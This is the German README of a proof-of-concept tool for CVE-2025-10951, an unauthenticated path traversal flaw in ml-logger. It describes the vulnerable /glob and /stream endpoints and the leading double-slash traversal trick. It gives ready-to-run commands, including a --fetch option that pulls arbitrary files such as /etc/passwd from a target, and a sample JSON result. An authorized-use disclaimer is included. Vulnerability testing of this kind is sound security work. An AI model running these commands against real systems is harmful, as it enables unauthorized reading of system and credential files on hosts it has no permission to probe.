
Proof-of-Concept-Checker für CVE-2025-10951, eine nicht authentifizierte Pfad-Traversal-Schwachstelle in ml-logger, die beliebiges Dateilesen über die Endpunkte /glob und /stream validiert.
Proof-of-Existence-Checker für CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — eine
nicht authentifizierte Path-Traversal-Schwachstelle in geyang/ml-logger
(≤ 0.10.36), die die Funktionen log_handler / stream_handler in
ml_logger/server.py betrifft.
Nur zur Verwendung gegen Systeme, die du testen darfst.
| Endpoint | Methode | Zweck |
|---|---|---|
/glob | POST | Bestätigt, dass der Server Dateisystempfade außerhalb des vorgesehenen Anwendungsbereichs aufzählt |
/stream | GET | Bestätigt das beliebige Lesen von Dateien über einen führenden Doppel-Slash-Traversal-Trick (//path/to/file) |
Standardmäßig liest der Proof-Schritt nur /etc/hostname – eine einzelne harmlose
Zeile, die auf praktisch jedem Linux-Host vorhanden ist, niemals sensible Daten.
pip install requests
Grundprüfung:
python3 check_mllogger_traversal.py http://TARGET:PORT
Ergebnisse als JSON schreiben (für Engagement-Dokumentation / Beweise):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Eine bestimmte Datei abrufen, die du wählst (läuft nur, wenn die Schwachstelle bestätigt ist):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
Alles zusammen:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — Schwachstelle bestätigt (vollständig oder wahrscheinlich)1 — nicht als verwundbar bestätigt / Ziel nicht erreichbar{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch wird nur ausgeführt, nachdem die Schwachstellenprüfung erfolgreich war – es wird
kein Abruf gegen ein unbestätigtes Ziel versucht.| Flag | Beschreibung |
|---|
target | Basis-URL, z. B. http://192.xxx.x.xx:8081 |
--timeout | Request-Timeout in Sekunden (Standard: 8.0) |
--json FILE | Schreibt strukturierte Ergebnisse in eine JSON-Datei |
--fetch REMOTE_PATH | Ruft eine bestimmte von dir angegebene entfernte Datei ab |
--output LOCAL_PATH | Lokaler Dateiname für die --fetch-Ausgabe (Standard: Basisname des entfernten Pfads) |